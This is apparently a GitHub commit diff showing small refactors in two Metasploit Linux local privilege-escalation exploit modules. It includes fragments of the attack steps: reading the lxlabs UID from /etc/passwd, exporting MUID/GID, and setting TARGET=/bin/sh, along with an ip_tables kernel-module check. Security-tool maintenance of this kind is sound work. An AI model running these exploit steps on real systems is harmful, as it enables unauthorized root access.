File tree Expand file tree Collapse file tree 2 files changed +6
-4
lines changed
modules/exploits/linux/local Expand file tree Collapse file tree 2 files changed +6
-4
lines changed Original file line number Diff line number Diff line change 10
10
11
11
class MetasploitModule < Msf ::Exploit ::Local
12
12
13
+ Rank = ExcellentRanking
14
+
13
15
include Msf ::Exploit ::EXE
14
16
include Msf ::Post ::File
15
17
include Msf ::Exploit ::FileDropper
@@ -93,7 +95,7 @@ def exploit
93
95
# Profit
94
96
print_status ( "Exploiting..." )
95
97
cmd_exec ( "chmod +x #{ payload_path } " )
96
- cmd_exec ( "LXLABS=`cat /etc/passwd | grep lxlabs | cut -d: -f3`" )
98
+ cmd_exec ( "LXLABS=`grep lxlabs /etc/passwd | cut -d: -f3`" )
97
99
cmd_exec ( "export MUID=$LXLABS" )
98
100
cmd_exec ( "export GID=$LXLABS" )
99
101
cmd_exec ( "export TARGET=/bin/sh" )
Original file line number Diff line number Diff line change @@ -62,20 +62,20 @@ def initialize(info = {})
62
62
63
63
def check
64
64
def iptables_loaded? ( )
65
- # user@ubuntu:~$ cat /proc/modules | grep ip_tables
65
+ # user@ubuntu:~$ grep ip_tables /proc/modules
66
66
# ip_tables 28672 1 iptable_filter, Live 0x0000000000000000
67
67
# x_tables 36864 2 iptable_filter,ip_tables, Live 0x0000000000000000
68
68
vprint_status ( 'Checking if ip_tables is loaded in kernel' )
69
69
if target . name == "Ubuntu"
70
- iptables = cmd_exec ( 'cat /proc/modules | grep ip_tables ')
70
+ iptables = read_file ( ' /proc/modules')
71
71
if iptables . include? ( 'ip_tables' )
72
72
vprint_good ( 'ip_tables.ko is loaded' )
73
73
else
74
74
print_error ( 'ip_tables.ko is not loaded. root needs to run iptables -L or similar command' )
75
75
end
76
76
return iptables . include? ( 'ip_tables' )
77
77
elsif target . name == "Fedora"
78
- iptables = cmd_exec ( 'cat /proc/modules | grep iptable_raw ')
78
+ iptables = read_file ( ' /proc/modules')
79
79
if iptables . include? ( 'iptable_raw' )
80
80
vprint_good ( 'iptable_raw is loaded' )
81
81
else
You can’t perform that action at this time.
0 commit comments